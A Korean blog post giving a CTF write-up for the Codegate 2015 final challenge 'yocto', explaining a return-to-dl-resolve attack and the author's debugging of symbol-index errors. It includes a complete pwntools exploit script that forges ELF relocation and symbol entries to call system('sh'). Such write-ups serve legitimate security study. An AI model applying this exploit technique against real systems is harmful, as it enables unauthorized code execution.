ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Codegate 2015 final yocto
    Pwnable/CTF 2018. 2. 21. 00:33

    return to dl-resolve 문제다.

    웹 해킹 공부하다가 우연히 문제를 봐서 문제를 잡게 되었다.


    계속 이상한 오류 때문에 삽질을 하다가 오류를 발견했는데 그 오류가 elf32_sym은 str_tab_offset 000000 000000 00000000

    이런 식으로 16byte씩 인덱스 한 개씩 가진다. 


    맨 처음이 0으로 시작하기 때문에 system_string - elf32_sym을하고 -1을 해줘야 되는데 -1을 해주지 않았다..

    return_to_dl_resolve를 콜 하는 부분을 실행시키는 방법인데 그 때 call될때 바로 뒤에 있는 값이 인자가 된다.\


    14707로 인덱스가 되면 system문자열이 제대로 들어가도 undefined symbol: system, version GLIBC_2.3.4 이런 식으로 출력된다.


    다른 인덱스에서 다른 이상한 문자열을 넣으면 undefined symbol:AAA 까지만 출력이 된다.

    내 실력으로는 그냥 그 인덱스를 피하는 방법밖에 몰라서 그 방법으로 하였다. 



    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    from pwn import *
     
    p=process('./yocto')
     
    reloc_offset = 0
    glob = 0x080495C0
     
    elf_rel = p32(0x08049540#read_got
    elf_rel += p32(0x14607#elf32_sym(symtab) offset (idx), minus/16
    sym = p32(0x1400)+p32(0)*2+p32(0x12)#strtab offset
    jmprel = 0x8048270
    symtab = 0x804818c
    strtab = 0x80481fc
     
    print jmprel
    print symtab
    print strtab
     
     
    payload = '.' + str((0x1374)) #jmp_rel offset
    payload += '.' + str(0x080482a0#dl_resolve push,call
    payload += ';sh;'
    payload += 'a'*17
    payload += elf_rel
    payload += sym
    payload += 'system\x00'
    raw_input('$ ')
    p.sendline(payload)
     
    print payload
     
    p.interactive()
    cs


    # undefined symbol: system, version GLIBC_2.3.4 version도 포함해서 오류가 나면 인덱스를 바꿔서 공격해보자

    'Pwnable > CTF' 카테고리의 다른 글

    Codegate 2017 final VM  (0) 2018.03.22
    Codegate 2017 final petshop  (0) 2018.03.22
    Codegate 2018 zoo  (0) 2018.02.11
    Codegate 2018 melong  (2) 2018.02.07
    코드게이트 2018 풀이 보고서  (0) 2018.02.07
Designed by Tistory.